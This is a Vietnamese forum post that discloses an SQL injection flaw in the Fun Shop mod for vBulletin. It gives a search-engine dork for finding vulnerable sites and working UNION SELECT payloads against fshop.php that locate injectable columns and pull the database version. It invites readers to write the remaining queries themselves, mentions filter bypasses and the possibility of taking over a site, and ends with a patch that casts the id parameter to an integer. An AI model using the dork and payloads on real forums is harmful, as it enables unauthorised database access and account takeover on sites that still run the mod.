Lỗi SQL injection của mod Fun Shop trên Vbulletin

Như đã hứa thì hôm nay mình sẽ cung cấp một cái bug của 1 mod cũng khá nhiều forum đang sử dụng bị dính lỗi SQL injection và có thể bị khai thác và chiếm quyền, dưới đây là thông tin lỗi:

Mod lỗi: Fun Shop - Hệ Thống Shop Vui Nhộn trên diễn đàn Vbulletin
Author: http://www.vietvbb.vn/up/showthread.php?t=43945
version: All
Dork: inurl:/fshop.php?do=buy&id=
link lỗi: /fshop.php?do=buy&id=SQL Injection
Exploit by: concobe & bula -VHB- huynhdegroup.net

Điều kiện bắt buộc phải có là:
1. victim có cài mod Fun Shop
2. Attacker phải có tài khoản trên victim và đã login vào.

Query giả sử id=6:

/fshop.php?do=buy&id=-6' union select 1,2,3,4,5,6,7,8,9,10-- -
cột lỗi gồm 5,6,7,8

lấy version() :

/fshop.php?do=buy&id=-6' union select 1,2,3,4,version(),6,7,8,9,10-- -

xxx xxx xxx

Đến đây thì có lẽ mọi người hoàn toàn có thể làm những gì mình cần rồi. Mình không ghi ra luôn tất cả những câu query để lấy những thông tin quan trọng mục đích để mọi người tự query và làm phần còn lại để hiểu hơn những gì mình cần làm.

Một số server sẽ có chặn và lọc các truy vấn nguy hiểm nên mọi người có thể dùng thêm những cách bypass khi SQL injection thông thường là sẽ làm được.

Fix lỗi:
- Mở mã nguồn 2 file bên dưới

fshop/fshop_dobuy.php
fshop/ fshop_eventid.php

Tim:
 

$query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "fshop_items WHERE id='$_GET[id]'");  
$infoitem = $vbulletin->db->fetch_array($query);
$iditem = $_GET['id'];

Thay bằng:
 

$iditem = (int)$_GET['id'];
$query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "fshop_items WHERE id='$iditem'");  
$infoitem = $vbulletin->db->fetch_array($query);
/*fixed by ccb*/

Exploit by: concobe & bula -VHB- huynhdegroup.net

P/s: Exploit này tuy mình đã public từ rất lâu rồi nhưng đến nay vẫn còn một số không ít các diễn đàn vẫn sử dụng mod này và lỗ hổng vẫn còn tồn tại, điều này thật tệ.